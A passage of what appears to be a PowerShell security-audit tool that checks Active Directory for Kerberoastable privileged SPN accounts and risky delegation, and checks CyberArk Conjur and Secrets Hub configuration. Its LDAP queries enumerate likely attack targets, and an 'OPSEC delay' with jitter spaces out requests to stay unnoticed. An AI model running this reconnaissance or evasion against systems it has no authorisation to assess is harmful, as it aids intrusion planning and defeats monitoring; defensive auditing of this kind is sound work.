[ADSI]"LDAP://$domainDN" $searcher.PageSize = 1000 $searcher.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" $searcher.PropertiesToLoad.AddRange(@("samaccountname", "serviceprincipalname", "memberof", "admincount")) $usersWithSPN = $searcher.FindAll() $privilegedWithSPN = @() $allSPNUsers = @() $privilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators") foreach ($user in $usersWithSPN) { $samAccount = $user.Properties["samaccountname"][0] $spns = $user.Properties["serviceprincipalname"] $memberOf = $user.Properties["memberof"] $adminCount = $user.Properties["admincount"] $allSPNUsers += $samAccount # Check if user is privileged $isPrivileged = ($adminCount -and $adminCount[0] -eq 1) if (-not $isPrivileged) { foreach ($group in $memberOf) { foreach ($privGroup in $privilegedGroups) { if ($group -match "CN=$privGroup,") { $isPrivileged = $true break } } } } if ($isPrivileged) { $privilegedWithSPN += "$samAccount (SPNs: $($spns.Count))" } } if ($privilegedWithSPN.Count -gt 0) { Add-Finding -Category "AD Security" ` -CISControl "AD4" ` -Finding "Privileged accounts with SPNs (Kerberoasting risk)" ` -Resource "Active Directory" ` -CurrentValue "$($privilegedWithSPN.Count) privileged: $($privilegedWithSPN[0..2] -join '; ')$(if($privilegedWithSPN.Count -gt 3){'...'})" ` -ExpectedValue "$($script:Config.SPNPrivilegedAccountLimit) privileged accounts with SPNs" ` -Recommendation "Remove SPNs from privileged user accounts; use machine accounts or gMSAs for services" ` -Severity "Critical" } elseif ($allSPNUsers.Count -gt 0) { Add-Finding -Category "AD Security" ` -CISControl "AD4" ` -Finding "User accounts with SPNs detected" ` -Resource "Active Directory" ` -CurrentValue "$($allSPNUsers.Count) user accounts with SPNs" ` -ExpectedValue "SPNs on machine accounts or gMSAs only" ` -Recommendation "Review SPN assignments; ensure strong passwords on SPN accounts" ` -Severity "Medium" } else { Add-Finding -Category "AD Security" ` -CISControl "AD4" ` -Finding "No user accounts with SPNs found" ` -Resource "Active Directory" ` -CurrentValue "No Kerberoasting targets" ` -ExpectedValue "No user SPNs" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD4" ` -CheckName "Risky SPN Configuration" ` -Reason "Error checking SPNs: $($_.Exception.Message)" ` -Type "Error" } } function Test-UnconstrainedDelegation { Write-AuditLog "Checking for unconstrained delegation (AD5)..." -Level Info try { $rootDSE = [ADSI]"LDAP://RootDSE" $domainDN = $rootDSE.defaultNamingContext # Search for accounts with unconstrained delegation (TRUSTED_FOR_DELEGATION flag) # UserAccountControl flag 524288 = TRUSTED_FOR_DELEGATION $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = [ADSI]"LDAP://$domainDN" $searcher.PageSize = 1000 $searcher.Filter = "(&(|(objectCategory=computer)(objectCategory=person))(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))" $searcher.PropertiesToLoad.AddRange(@("samaccountname", "objectcategory", "distinguishedname")) $unconstrainedAccounts = $searcher.FindAll() $nonDCUnconstrained = @() foreach ($account in $unconstrainedAccounts) { $samAccount = $account.Properties["samaccountname"][0] $dn = $account.Properties["distinguishedname"][0] # Exclude Domain Controllers (they have unconstrained delegation by design) if ($dn -notmatch "OU=Domain Controllers") { $nonDCUnconstrained += $samAccount } } if ($nonDCUnconstrained.Count -gt 0) { Add-Finding -Category "AD Security" ` -CISControl "AD5" ` -Finding "Non-DC accounts with unconstrained delegation" ` -Resource "Active Directory" ` -CurrentValue "$($nonDCUnconstrained.Count) accounts: $($nonDCUnconstrained[0..4] -join ', ')$(if($nonDCUnconstrained.Count -gt 5){'...'})" ` -ExpectedValue "$($script:Config.MaxUnconstrainedDelegation) non-DC unconstrained delegation" ` -Recommendation "Convert to constrained delegation or remove delegation; unconstrained allows credential theft" ` -Severity "Critical" } else { Add-Finding -Category "AD Security" ` -CISControl "AD5" ` -Finding "No non-DC unconstrained delegation found" ` -Resource "Active Directory" ` -CurrentValue "Only DCs have unconstrained delegation" ` -ExpectedValue "No unnecessary unconstrained delegation" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD5" ` -CheckName "Unconstrained Delegation" ` -Reason "Error checking unconstrained delegation: $($_.Exception.Message)" ` -Type "Error" } } function Test-ConstrainedDelegationPT { Write-AuditLog "Checking for constrained delegation with protocol transition (AD6)..." -Level Info try { $rootDSE = [ADSI]"LDAP://RootDSE" $domainDN = $rootDSE.defaultNamingContext # Search for accounts with constrained delegation with protocol transition # UserAccountControl flag 16777216 = TRUSTED_TO_AUTH_FOR_DELEGATION $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = [ADSI]"LDAP://$domainDN" $searcher.PageSize = 1000 $searcher.Filter = "(&(|(objectCategory=computer)(objectCategory=person))(userAccountControl:1.2.840.113556.1.4.803:=16777216))" $searcher.PropertiesToLoad.AddRange(@("samaccountname", "msds-allowedtodelegateto", "objectcategory")) $protocolTransitionAccounts = $searcher.FindAll() if ($protocolTransitionAccounts.Count -gt 0) { $accountList = @() foreach ($account in $protocolTransitionAccounts) { $samAccount = $account.Properties["samaccountname"][0] $delegateTo = $account.Properties["msds-allowedtodelegateto"] $accountList += "$samAccount (delegates to $($delegateTo.Count) SPNs)" } Add-Finding -Category "AD Security" ` -CISControl "AD6" ` -Finding "Constrained delegation with protocol transition detected" ` -Resource "Active Directory" ` -CurrentValue "$($protocolTransitionAccounts.Count) accounts: $($accountList[0..2] -join '; ')$(if($accountList.Count -gt 3){'...'})" ` -ExpectedValue "Protocol transition only when required" ` -Recommendation "Review need for protocol transition; disable if not required (allows S4U2Self abuse)" ` -Severity "High" } else { Add-Finding -Category "AD Security" ` -CISControl "AD6" ` -Finding "No constrained delegation with protocol transition" ` -Resource "Active Directory" ` -CurrentValue "No protocol transition delegation found" ` -ExpectedValue "Minimal or no protocol transition" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD6" ` -CheckName "Constrained Delegation with Protocol Transition" ` -Reason "Error checking protocol transition: $($_.Exception.Message)" ` -Type "Error" } } function Test-DelegationPrivilegeAudit { Write-AuditLog "Auditing all delegation configurations (AD7)..." -Level Info try { $rootDSE = [ADSI]"LDAP://RootDSE" $domainDN = $rootDSE.defaultNamingContext # Count all accounts with any form of delegation $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = [ADSI]"LDAP://$domainDN" $searcher.PageSize = 1000 $searcher.Filter = "(&(|(objectCategory=computer)(objectCategory=person))(|(userAccountControl:1.2.840.113556.1.4.803:=524288)(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msds-allowedtodelegateto=*)))" $searcher.PropertiesToLoad.AddRange(@("samaccountname", "useraccountcontrol", "msds-allowedtodelegateto")) $delegatedAccounts = $searcher.FindAll() $summary = @{ Unconstrained = 0 ConstrainedWithPT = 0 ConstrainedNoPT = 0 } foreach ($account in $delegatedAccounts) { $uac = 0 if ($account.Properties["useraccountcontrol"]) { $uac = $account.Properties["useraccountcontrol"][0] } $allowedTo = $account.Properties["msds-allowedtodelegateto"] if ($uac -band 524288) { $summary.Unconstrained++ } elseif ($uac -band 16777216) { $summary.ConstrainedWithPT++ } elseif ($allowedTo.Count -gt 0) { $summary.ConstrainedNoPT++ } } $totalDelegated = $delegatedAccounts.Count $severity = "Info" $status = "Pass" if ($summary.Unconstrained -gt 5 -or $totalDelegated -gt $script:Config.MaxDelegatedAccounts) { $severity = "High" $status = "Fail" } elseif ($totalDelegated -gt 0) { $severity = "Low" } Add-Finding -Category "AD Security" ` -CISControl "AD7" ` -Finding "Delegation Configuration Summary" ` -Resource "Active Directory" ` -CurrentValue "Total: $totalDelegated (Unconstrained: $($summary.Unconstrained), Constrained+PT: $($summary.ConstrainedWithPT), Constrained: $($summary.ConstrainedNoPT))" ` -ExpectedValue "Delegated accounts <= $($script:Config.MaxDelegatedAccounts)" ` -Recommendation "Review all delegation configurations; prefer constrained without protocol transition" ` -Severity $severity ` -Status $status } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD7" ` -CheckName "Delegation Privilege Audit" ` -Reason "Error auditing delegation: $($_.Exception.Message)" ` -Type "Error" } } #====================================================================== # CONJUR INTEGRATION CHECKS (SEC9-SEC14) #====================================================================== function Test-ConjurIntegration { Write-AuditLog "Running Conjur/Secrets Manager Integration Checks..." -Level Info if (-not $ConjurUrl) { Add-SkippedCheck -Category "Conjur Integration" -CISControl "SEC9" ` -CheckName "Conjur Integration Checks" ` -Reason "Conjur URL not provided - use -ConjurUrl parameter" ` -Type "Skipped" return } Test-ConjurHealth Test-ConjurAuthenticators Test-ConjurAPIKeyRotation Test-ConjurAuditLogging } function Test-ConjurHealth { Write-AuditLog "Checking Conjur health (SEC9)..." -Level Info try { $healthEndpoint = "$ConjurUrl/health" $response = Invoke-WebRequest -Uri $healthEndpoint -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction Stop if ($response.StatusCode -eq 200) { $health = $response.Content | ConvertFrom-Json -ErrorAction SilentlyContinue if ($health.ok -eq $true -or $health.status -eq "ok") { Add-Finding -Category "Conjur Integration" ` -CISControl "SEC9" ` -Finding "Conjur health check passed" ` -Resource $ConjurUrl ` -CurrentValue "Healthy" ` -ExpectedValue "Healthy" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Conjur Integration" ` -CISControl "SEC9" ` -Finding "Conjur health check indicates issues" ` -Resource $ConjurUrl ` -CurrentValue $response.Content ` -ExpectedValue "All services healthy" ` -Recommendation "Investigate Conjur health issues" ` -Severity "High" } } } catch { Add-Finding -Category "Conjur Integration" ` -CISControl "SEC9" ` -Finding "Cannot reach Conjur health endpoint" ` -Resource $ConjurUrl ` -CurrentValue "Connection failed: $($_.Exception.Message)" ` -ExpectedValue "Reachable health endpoint" ` -Recommendation "Verify Conjur connectivity and configuration" ` -Severity "High" } } function Test-ConjurAuthenticators { Write-AuditLog "Checking Conjur authenticator configuration (SEC11)..." -Level Info try { # Check for common authenticator endpoints $authenticators = @( @{ Name = "LDAP"; Path = "/authn-ldap" }, @{ Name = "OIDC"; Path = "/authn-oidc" }, @{ Name = "IAM"; Path = "/authn-iam" }, @{ Name = "K8s"; Path = "/authn-k8s" } ) $enabledAuthenticators = @() foreach ($auth in $authenticators) { try { $endpoint = "$ConjurUrl$($auth.Path)" $response = Invoke-WebRequest -Uri $endpoint -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.StatusCode -ne 404) { $enabledAuthenticators += $auth.Name } } catch { # 401/403 means endpoint exists but requires auth if ($_.Exception.Response.StatusCode.value__ -in @(401, 403)) { $enabledAuthenticators += $auth.Name } } } if ($enabledAuthenticators.Count -gt 0) { Add-Finding -Category "Conjur Integration" ` -CISControl "SEC11" ` -Finding "Conjur authenticators detected" ` -Resource "Authenticators" ` -CurrentValue "$($enabledAuthenticators.Count) enabled: $($enabledAuthenticators -join ', ')" ` -ExpectedValue "Required authenticators enabled" ` -Recommendation "Verify only required authenticators are enabled" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Conjur Integration" ` -CISControl "SEC11" ` -Finding "No external authenticators detected" ` -Resource "Authenticators" ` -CurrentValue "Only default authentication" ` -ExpectedValue "Enterprise authenticators configured" ` -Recommendation "Consider enabling LDAP, OIDC, or other enterprise authenticators" ` -Severity "Low" } } catch { Add-SkippedCheck -Category "Conjur Integration" -CISControl "SEC11" ` -CheckName "Authenticator Configuration" ` -Reason "Error checking authenticators: $($_.Exception.Message)" ` -Type "Error" } } function Test-ConjurAPIKeyRotation { Write-AuditLog "Checking Conjur API key rotation (SEC13)..." -Level Info # This check documents the need for API key rotation - actual verification would require Conjur admin access Add-Finding -Category "Conjur Integration" ` -CISControl "SEC13" ` -Finding "API key rotation policy (manual verification)" ` -Resource "API Keys" ` -CurrentValue "Manual verification required" ` -ExpectedValue "API keys rotated every $($script:Config.MaxConjurAPIKeyAgeDays) days" ` -Recommendation "Implement automated API key rotation policy" ` -Severity "Info" ` -Status "Pass" } function Test-ConjurAuditLogging { Write-AuditLog "Checking Conjur audit logging (SEC14)..." -Level Info try { # Check if audit endpoint is accessible $auditEndpoint = "$ConjurUrl/audit" try { [void](Invoke-WebRequest -Uri $auditEndpoint -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop) Add-Finding -Category "Conjur Integration" ` -CISControl "SEC14" ` -Finding "Conjur audit endpoint accessible" ` -Resource "Audit Logging" ` -CurrentValue "Audit endpoint reachable" ` -ExpectedValue "Audit logging enabled" ` -Recommendation "Verify audit logs are being forwarded to SIEM" ` -Severity "Info" ` -Status "Pass" } catch { # 401/403 means endpoint exists but requires auth - which is good if ($_.Exception.Response.StatusCode.value__ -in @(401, 403)) { Add-Finding -Category "Conjur Integration" ` -CISControl "SEC14" ` -Finding "Conjur audit endpoint secured" ` -Resource "Audit Logging" ` -CurrentValue "Requires authentication" ` -ExpectedValue "Secured audit access" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Conjur Integration" ` -CISControl "SEC14" ` -Finding "Cannot verify Conjur audit logging" ` -Resource "Audit Logging" ` -CurrentValue "Endpoint not accessible" ` -ExpectedValue "Audit logging enabled" ` -Recommendation "Verify Conjur audit logging configuration" ` -Severity "Medium" } } } catch { Add-SkippedCheck -Category "Conjur Integration" -CISControl "SEC14" ` -CheckName "Audit Logging" ` -Reason "Error checking audit logging: $($_.Exception.Message)" ` -Type "Error" } } #====================================================================== # SECRETS HUB INTEGRATION CHECKS (SH1-SH6) # Cloud-native secrets synchronization to AWS, Azure, GCP #====================================================================== function Test-SecretsHubIntegration { Write-AuditLog "Running Secrets Hub Integration Checks..." -Level Info if (-not $SecretsHubUrl) { # Try to discover Secrets Hub URL from PVWA $discoveredUrl = Get-SecretsHubUrl if (-not $discoveredUrl) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH1" ` -CheckName "Secrets Hub Integration" ` -Reason "SecretsHubUrl not provided and auto-discovery failed. Use -SecretsHubUrl parameter." ` -Type "NotApplicable" return } $script:SecretsHubUrl = $discoveredUrl } else { $script:SecretsHubUrl = $SecretsHubUrl } Write-AuditLog "Secrets Hub URL: $($script:SecretsHubUrl)" -Level Info Test-SecretsHubSyncStatus Test-SecretsHubLatency Test-SecretsHubVersionDrift Test-SecretsHubSyncFailures Test-SecretsHubTargetConfig Test-SecretsHubAuditLogging } function Get-SecretsHubUrl { # Attempt to discover Secrets Hub URL from PVWA system configuration try { $systemConfig = Invoke-CyberArkAPI -Endpoint "/API/Configuration/SystemConfiguration" -Method "GET" -ErrorAction SilentlyContinue if ($systemConfig -and $systemConfig.SecretsHubUrl) { return $systemConfig.SecretsHubUrl } # Try alternative discovery via Privilege Cloud API $cloudConfig = Invoke-CyberArkAPI -Endpoint "/API/Configuration/CloudServices" -Method "GET" -ErrorAction SilentlyContinue if ($cloudConfig -and $cloudConfig.SecretsHub) { return $cloudConfig.SecretsHub.Url } } catch { Write-AuditLog "Secrets Hub URL auto-discovery failed: $($_.Exception.Message)" -Level Warning } return $null } function Test-SecretsHubSyncStatus { <# .SYNOPSIS SH1: Check sync health to AWS/Azure/GCP secret stores #> Write-AuditLog "Checking Secrets Hub sync status (SH1)..." -Level Info try { # Query sync status endpoint $syncEndpoint = "$($script:SecretsHubUrl)/api/sync/status" $headers = @{ "Authorization" = "Bearer $($script:AuthToken)" "Content-Type" = "application/json" } # Apply OPSEC delay if configured if ($script:RequestDelay -gt 0) { $delay = Get-OPSECDelay -BaseDelay $script:RequestDelay -Jitter $script:Jitter Start-Sleep -Milliseconds $delay } try { $response = Invoke-RestMethod -Uri $syncEndpoint -Method GET -Headers $headers -TimeoutSec 30 -ErrorAction Stop # Analyze sync targets $syncTargets = @() $healthyTargets = 0 $unhealthyTargets = 0 foreach ($target in $response.syncTargets) { $syncTargets += $target.name if ($target.status -eq "Healthy" -or $target.status -eq "Active") { $healthyTargets++ } else { $unhealthyTargets++ Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "Secrets Hub sync target unhealthy" ` -Resource $target.name ` -CurrentValue "Status: $($target.status)" ` -ExpectedValue "Status: Healthy/Active" ` -Recommendation "Investigate sync failures for $($target.name). Check connectivity, credentials, and target configuration." ` -Severity "High" } } if ($unhealthyTargets -eq 0 -and $healthyTargets -gt 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "All Secrets Hub sync targets healthy" ` -Resource "Sync Status" ` -CurrentValue "$healthyTargets targets active: $($syncTargets -join ', ')" ` -ExpectedValue "All targets healthy" ` -Severity "Info" ` -Status "Pass" } elseif ($healthyTargets -eq 0 -and $response.syncTargets.Count -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "No Secrets Hub sync targets configured" ` -Resource "Sync Status" ` -CurrentValue "0 sync targets" ` -ExpectedValue "At least one sync target" ` -Recommendation "Configure sync targets for AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager" ` -Severity "Medium" } } catch { $statusCode = $_.Exception.Response.StatusCode.value__ if ($statusCode -eq 401 -or $statusCode -eq 403) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH1" ` -CheckName "Sync Status" ` -Reason "Access denied to Secrets Hub API. Ensure account has Secrets Hub admin permissions." ` -Type "AccessDenied" } elseif ($statusCode -eq 404) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH1" ` -CheckName "Sync Status" ` -Reason "Secrets Hub sync endpoint not found. Verify Secrets Hub is enabled." ` -Type "NotApplicable" } else { throw $_ } } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH1" ` -CheckName "Sync Status" ` -Reason "Error checking sync status: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubLatency { <# .SYNOPSIS SH2: Measure sync delay/latency to cloud destinations #> Write-AuditLog "Checking Secrets Hub sync latency (SH2)..." -Level Info try { $metricsEndpoint = "$($script:SecretsHubUrl)/api/sync/metrics" $headers = @{ "Authorization" = "Bearer $($script:AuthToken)" "Content-Type" = "application/json" } if ($script:RequestDelay -gt 0) { $delay = Get-OPSECDelay -BaseDelay $script:RequestDelay -Jitter $script:Jitter Start-Sleep -Milliseconds $delay } try { $response = Invoke-RestMethod -Uri $metricsEndpoint -Method GET -Headers $headers -TimeoutSec 30 -ErrorAction Stop # Acceptable latency thresholds (in seconds) $warningThreshold = 60 # 1 minute $criticalThreshold = 300 # 5 minutes foreach ($target in $response.targets) { $avgLatency = $target.averageSyncLatencySeconds $maxLatency = $target.maxSyncLatencySeconds $lastSync = $target.lastSuccessfulSync if ($maxLatency -gt $criticalThreshold) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "Critical sync latency detected" ` -Resource $target.name ` -CurrentValue "Max latency: $maxLatency seconds (avg: $avgLatency seconds)" ` -ExpectedValue "Max latency < $criticalThreshold seconds" ` -Recommendation "Investigate network connectivity and API rate limits for $($target.name). Consider reducing sync batch size." ` -Severity "High" } elseif ($avgLatency -gt $warningThreshold) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "Elevated sync latency" ` -Resource $target.name ` -CurrentValue "Average latency: $avgLatency seconds" ` -ExpectedValue "Average latency < $warningThreshold seconds" ` -Recommendation "Monitor sync latency trends for $($target.name). Consider optimizing sync configuration." ` -Severity "Medium" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "Sync latency within acceptable range" ` -Resource $target.name ` -CurrentValue "Average latency: $avgLatency seconds" ` -ExpectedValue "Latency < $warningThreshold seconds" ` -Severity "Info" ` -Status "Pass" } # Check for stale sync (last sync > 1 hour ago) if ($lastSync) { $lastSyncTime = [DateTime]::Parse($lastSync) $hoursSinceSync = ((Get-Date) - $lastSyncTime).TotalHours if ($hoursSinceSync -gt 24) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "Stale sync detected" ` -Resource $target.name ` -CurrentValue "Last sync: $([math]::Round($hoursSinceSync, 1)) hours ago" ` -ExpectedValue "Sync within last hour" ` -Recommendation "Investigate why secrets are not syncing to $($target.name). Check for sync errors or disabled sync jobs." ` -Severity "High" } elseif ($hoursSinceSync -gt 1) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "Sync delay detected" ` -Resource $target.name ` -CurrentValue "Last sync: $([math]::Round($hoursSinceSync, 1)) hours ago" ` -ExpectedValue "Recent sync activity" ` -Recommendation "Verify sync schedule for $($target.name) meets operational requirements" ` -Severity "Low" } } } } catch { $statusCode = $_.Exception.Response.StatusCode.value__ if ($statusCode -in @(401, 403)) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH2" ` -CheckName "Sync Latency" ` -Reason "Access denied to Secrets Hub metrics API" ` -Type "AccessDenied" } elseif ($statusCode -eq 404) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH2" ` -CheckName "Sync Latency" ` -Reason "Metrics endpoint not available. May require Secrets Hub Enterprise." ` -Type "NotApplicable" } else { throw $_ } } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH2" ` -CheckName "Sync Latency" ` -Reason "Error checking sync latency: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubVersionDrift { <# .SYNOPSIS SH3: Compare secret versions across CyberArk and cloud destinations #> Write-AuditLog "Checking Secrets Hub version drift (SH3)..." -Level Info try { $driftEndpoint = "$($script:SecretsHubUrl)/api/sync/drift" $headers = @{ "Authorization" = "Bearer $($script:AuthToken)" "Content-Type" = "application/json" } if ($script:RequestDelay -gt 0) { $delay = Get-OPSECDelay -BaseDelay $script:RequestDelay -Jitter $script:Jitter Start-Sleep -Milliseconds $delay } try { $response = Invoke-RestMethod -Uri $driftEndpoint -Method GET -Headers $headers -TimeoutSec 30 -ErrorAction Stop $driftedSecrets = @() $totalSecrets = $response.totalSecrets $syncedSecrets = $response.syncedSecrets foreach ($drift in $response.driftedSecrets) { $driftedSecrets += $drift $driftAge = if ($drift.driftDetectedAt) { $driftTime = [DateTime]::Parse($drift.driftDetectedAt) [math]::Round(((Get-Date) - $driftTime).TotalHours, 1) } else { "Unknown" } Add-Finding -Category "Secrets Hub" ` -CISControl "SH3" ` -Finding "Secret version drift detected" ` -Resource "$($drift.secretName) -> $($drift.targetName)" ` -CurrentValue "CyberArk v$($drift.sourceVersion) vs Target v$($drift.targetVersion). Drift age: $driftAge hours" ` -ExpectedValue "Versions should match" ` -Recommendation "Force resync for $($drift.secretName) or investigate why automatic sync failed" ` -Severity "High" } if ($driftedSecrets.Count -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH3" ` -Finding "No version drift detected" ` -Resource "Version Consistency" ` -CurrentValue "$syncedSecrets of $totalSecrets secrets in sync" ` -ExpectedValue "All secrets synchronized" ` -Severity "Info" ` -Status "Pass" } else { # Summary finding for multiple drifts $driftPercentage = [math]::Round(($driftedSecrets.Count / $totalSecrets) * 100, 1) if ($driftPercentage -gt 10) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH3" ` -Finding "High secret drift rate" ` -Resource "Drift Summary" ` -CurrentValue "$($driftedSecrets.Count) secrets drifted ($driftPercentage%)" ` -ExpectedValue "< 1% drift rate" ` -Recommendation "Investigate systemic sync issues. Consider checking network connectivity, API limits, and sync job health." ` -Severity "Critical" } } } catch { $statusCode = $_.Exception.Response.StatusCode.value__ if ($statusCode -in @(401, 403)) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH3" ` -CheckName "Version Drift" ` -Reason "Access denied to drift detection API" ` -Type "AccessDenied" } elseif ($statusCode -eq 404) { # Drift API may not exist - try alternative approach Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH3" ` -CheckName "Version Drift" ` -Reason "Drift detection endpoint not available" ` -Type "NotApplicable" } else { throw $_ } } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH3" ` -CheckName "Version Drift" ` -Reason "Error checking version drift: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubSyncFailures { <# .SYNOPSIS SH4: Detect and report sync failures #> Write-AuditLog "Checking Secrets Hub sync failures (SH4)..." -Level Info try { $failuresEndpoint = "$($script:SecretsHubUrl)/api/sync/failures" $headers = @{ "Authorization" = "Bearer $($script:AuthToken)" "Content-Type" = "application/json" } # Get failures from last 24 hours $since = (Get-Date).AddHours(-24).ToString("yyyy-MM-ddTHH:mm:ssZ") $queryParams = "?since=$since&limit=100" if ($script:RequestDelay -gt 0) { $delay = Get-OPSECDelay -BaseDelay $script:RequestDelay -Jitter $script:Jitter Start-Sleep -Milliseconds $delay } try { $response = Invoke-RestMethod -Uri "$failuresEndpoint$queryParams" -Method GET -Headers $headers -TimeoutSec 30 -ErrorAction Stop $failures = $response.failures $failureCount = $failures.Count if ($failureCount -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH4" ` -Finding "No sync failures in last 24 hours" ` -Resource "Sync Reliability" ` -CurrentValue "0 failures" ` -ExpectedValue "Minimal failures" ` -Severity "Info" ` -Status "Pass" } else { # Group failures by type $failuresByType = $failures | Group-Object -Property errorType foreach ($group in $failuresByType) { $errorType = $group.Name $count = $group.Count $samples = $group.Group | Select-Object -First 3 $severity = switch ($errorType) { "AuthenticationError" { "Critical" } "PermissionDenied" { "Critical" } "NetworkError" { "High" } "RateLimitExceeded" { "Medium" } "ValidationError" { "Medium" } default { "High" } } $recommendation = switch ($errorType) { "AuthenticationError" { "Verify cloud provider credentials are valid and not expired" } "PermissionDenied" { "Check IAM permissions for Secrets Hub service principal" } "NetworkError" { "Verify network connectivity and firewall rules to cloud provider" } "RateLimitExceeded" { "Reduce sync frequency or request API limit increase from cloud provider" } "ValidationError" { "Check secret format compatibility with target secret store" } default { "Investigate error logs for detailed failure information" } } $sampleSecrets = ($samples | ForEach-Object { $_.secretName }) -join ", " Add-Finding -Category "Secrets Hub" ` -CISControl "SH4" ` -Finding "Sync failures detected: $errorType" ` -Resource "Sync Failures" ` -CurrentValue "$count failures in 24h. Affected: $sampleSecrets" ` -ExpectedValue "No sync failures" ` -Recommendation $recommendation ` -Severity $severity } # Overall failure rate assessment if ($failureCount -gt 50) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH4" ` -Finding "High sync failure rate" ` -Resource "Sync Health" ` -CurrentValue "$failureCount failures in 24 hours" ` -ExpectedValue "< 10 failures per day" ` -Recommendation "Urgent: Investigate systemic sync issues. Consider pausing sync and reviewing configuration." ` -Severity "Critical" } } } catch { $statusCode = $_.Exception.Response.StatusCode.value__ if ($statusCode -in @(401, 403)) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH4" ` -CheckName "Sync Failures" ` -Reason "Access denied to failures API" ` -Type "AccessDenied" } else { throw $_ } } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH4" ` -CheckName "Sync Failures" ` -Reason "Error checking sync failures: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubTargetConfig { <# .SYNOPSIS SH5: Validate sync target configuration security #> Write-AuditLog "Checking Secrets Hub target configuration (SH5)..." -Level Info try { $targetsEndpoint = "$($script:SecretsHubUrl)/api/sync/targets" $headers = @{ "Authorization" = "Bearer $($script:AuthToken)" "Content-Type" = "application/json" } if ($script:RequestDelay -gt 0) { $delay = Get-OPSECDelay -BaseDelay $script:RequestDelay -Jitter $script:Jitter Start-Sleep -Milliseconds $delay } try { $response = Invoke-RestMethod -Uri $targetsEndpoint -Method GET -Headers $headers -TimeoutSec 30 -ErrorAction Stop foreach ($target in $response.targets) { $targetName = $target.name $targetType = $target.type # AWS, Azure, GCP $issues = @() # Check 1: Authentication method if ($target.authMethod -eq "StaticCredentials") { $issues += "Using static credentials instead of IAM role/managed identity" Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Static credentials used for cloud authentication" ` -Resource $targetName ` -CurrentValue "Auth: Static credentials" ` -ExpectedValue "IAM Role/Managed Identity/Workload Identity" ` -Recommendation "Configure workload identity federation or managed identity for $targetType" ` -Severity "High" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Secure cloud authentication configured" ` -Resource $targetName ` -CurrentValue "Auth: $($target.authMethod)" ` -ExpectedValue "Managed identity/workload identity" ` -Severity "Info" ` -Status "Pass" } # Check 2: Encryption configuration if ($target.encryptionEnabled -eq $false) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Encryption not enabled for sync target" ` -Resource $targetName ` -CurrentValue "Encryption: Disabled" ` -ExpectedValue "Encryption: Enabled with CMK" ` -Recommendation "Enable encryption with customer-managed keys for $targetName" ` -Severity "High" } # Check 3: Network restrictions (if applicable) if ($target.networkRestrictions) { if ($target.networkRestrictions.allowAllNetworks -eq $true) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "No network restrictions on sync target" ` -Resource $targetName ` -CurrentValue "Network: All networks allowed" ` -ExpectedValue "Private endpoint or IP restrictions" ` -Recommendation "Configure private endpoint or IP allowlist for $targetName" ` -Severity "Medium" } elseif ($target.networkRestrictions.privateEndpoint) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Private endpoint configured" ` -Resource $targetName ` -CurrentValue "Network: Private endpoint enabled" ` -ExpectedValue "Private endpoint" ` -Severity "Info" ` -Status "Pass" } } # Check 4: Sync scope (overly broad sync) if ($target.syncScope -eq "AllSecrets" -or $target.syncScope -eq "*") { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Overly broad sync scope" ` -Resource $targetName ` -CurrentValue "Sync scope: All secrets" ` 